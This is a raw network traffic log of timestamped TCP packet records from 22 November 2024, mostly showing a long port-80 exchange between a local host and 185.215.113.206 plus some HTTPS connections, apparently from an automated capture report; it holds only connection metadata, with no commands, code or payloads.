Nov 22, 2024 00:11:53.583486080 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.584464073 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.584522009 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.584539890 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.584619999 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.585525036 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.585601091 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.585632086 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.585828066 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.586601973 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.586683989 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.586710930 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.586775064 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.587698936 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.587785006 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.587819099 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.587898970 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.588793039 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.588850975 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.588891983 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.588957071 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.589900017 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.589958906 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.590001106 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.590085983 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.590986967 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.591094971 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.591150999 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.592107058 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.592192888 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.592410088 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.593185902 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.593208075 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.593255997 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.593281031 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.645365953 CET	49871	443	192.168.2.5	23.49.251.42
Nov 22, 2024 00:11:53.645379066 CET	443	49871	23.49.251.42	192.168.2.5
Nov 22, 2024 00:11:53.645643950 CET	49871	443	192.168.2.5	23.49.251.42
Nov 22, 2024 00:11:53.645773888 CET	49872	443	192.168.2.5	23.49.251.42
Nov 22, 2024 00:11:53.645798922 CET	443	49872	23.49.251.42	192.168.2.5
Nov 22, 2024 00:11:53.645859003 CET	49872	443	192.168.2.5	23.49.251.42
Nov 22, 2024 00:11:53.646473885 CET	49871	443	192.168.2.5	23.49.251.42
Nov 22, 2024 00:11:53.646497965 CET	443	49871	23.49.251.42	192.168.2.5
Nov 22, 2024 00:11:53.646706104 CET	49872	443	192.168.2.5	23.49.251.42
Nov 22, 2024 00:11:53.646719933 CET	443	49872	23.49.251.42	192.168.2.5
Nov 22, 2024 00:11:53.658113003 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.658144951 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.658193111 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.658205032 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.658265114 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.671403885 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.671423912 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.671499968 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.671514988 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.671549082 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.671574116 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.682174921 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.682194948 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.682356119 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.682368040 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.682432890 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.683624983 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.683664083 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.683746099 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.683764935 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.683801889 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.683825970 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.695044041 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.695070982 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.695142031 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.695154905 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.695204973 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.707598925 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.707627058 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.707670927 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.707681894 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.707720041 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.707743883 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.712517023 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.712547064 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.712693930 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.712694883 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.712732077 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.712980986 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.715912104 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.715976954 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.716001987 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.716007948 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.716022968 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.716059923 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.716090918 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.716490030 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.716504097 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.734631062 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.734659910 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.734765053 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.734807014 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.734823942 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.734855890 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.735426903 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.735511065 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.735568047 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.735995054 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.736093044 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.736138105 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.737195015 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.737466097 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.738183975 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.738262892 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.738306999 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.738425016 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.739306927 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.739448071 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.739525080 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.740446091 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.740555048 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.740603924 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.741580009 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.741631031 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.741671085 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.742597103 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.742645025 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.742652893 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.743784904 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.743834019 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.743907928 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.744031906 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.744846106 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.744959116 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.745013952 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.745898008 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.746121883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.746170044 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.747345924 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.747366905 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.747419119 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.748368025 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.748433113 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.749180079 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.749236107 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.749274015 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.749680996 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.750262976 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.750310898 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.750375032 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.751329899 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.751379013 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.751425982 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.751926899 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.752482891 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.752599001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.752626896 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.752645969 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.753575087 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.753638983 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.753647089 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.753665924 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.753679991 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.753715038 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.753726959 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.753752947 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.753762007 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.753951073 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.754642963 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.754687071 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.754770994 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.754992008 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.755745888 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.755865097 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.756032944 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.757009983 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.757088900 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.757143021 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.758007050 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.758049965 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.758085012 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.758132935 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.759001970 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.759054899 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.759203911 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.759255886 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.760142088 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.760462046 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.760516882 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.761223078 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.761274099 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.761446953 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.761713028 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.762319088 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.762447119 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.762482882 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.762573957 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.763394117 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.763443947 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.763659954 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.763859034 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.764599085 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.764647007 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.764727116 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.764766932 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.765587091 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.765815973 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.765866041 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.766691923 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.766738892 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.766781092 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.767045021 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.767817974 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.767839909 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.767868996 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.767904997 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.768853903 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.768912077 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.768959999 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.769006014 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.769962072 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.770076990 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.770112991 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.770131111 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.771059036 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.771100044 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.771161079 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.771197081 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.772176981 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.772281885 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.772347927 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.773261070 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.773363113 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.773384094 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.773602962 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.774362087 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.774434090 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.774570942 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.774961948 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.775429010 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.775480032 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.775556087 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.776556969 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.776622057 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.776668072 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.776714087 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.777666092 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.777729034 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.777760029 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.777803898 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.778719902 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.778776884 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.778816938 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.778865099 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.779819965 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.779879093 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.779890060 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.780091047 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.780919075 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.780970097 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.781034946 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.781085968 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.782002926 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.782058954 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.782150030 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.782196999 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.783107996 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.783169031 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.783206940 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.783258915 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.784282923 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.784336090 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.784368038 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.784555912 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.785298109 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.785367966 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.785403967 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.785464048 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.786396027 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.786443949 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.786726952 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.787484884 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.787534952 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.787616968 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.787616968 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.788657904 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.788820982 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.788881063 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.789699078 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.789764881 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.789793015 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.789856911 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.790781975 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.790899992 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.790940046 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.790978909 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.791891098 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.791965008 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.791987896 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.792095900 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.792936087 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.792999983 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.817200899 CET	49873	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.817274094 CET	443	49873	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.817573071 CET	49873	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.818041086 CET	49873	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:53.818057060 CET	443	49873	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:53.834593058 CET	443	49862	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.834665060 CET	443	49862	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.835578918 CET	49862	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:53.842000961 CET	49862	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:53.842021942 CET	443	49862	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.842037916 CET	49862	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:53.842042923 CET	443	49862	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.846240997 CET	49874	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:53.846297026 CET	443	49874	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.846489906 CET	49874	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:53.846910000 CET	49874	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:53.846932888 CET	443	49874	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:53.894145012 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.894200087 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.894232988 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.894246101 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.894309998 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.894490004 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.894535065 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:53.894603968 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:53.936721087 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.936847925 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.936908960 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.936908960 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.937283039 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.937333107 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.937401056 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.938350916 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.938472986 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.938517094 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.938530922 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.939446926 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.939522028 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.949758053 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.949896097 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:53.949939013 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.949980974 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:53.950282097 CET	80	49788	185.215.113.206	192.168.2.5
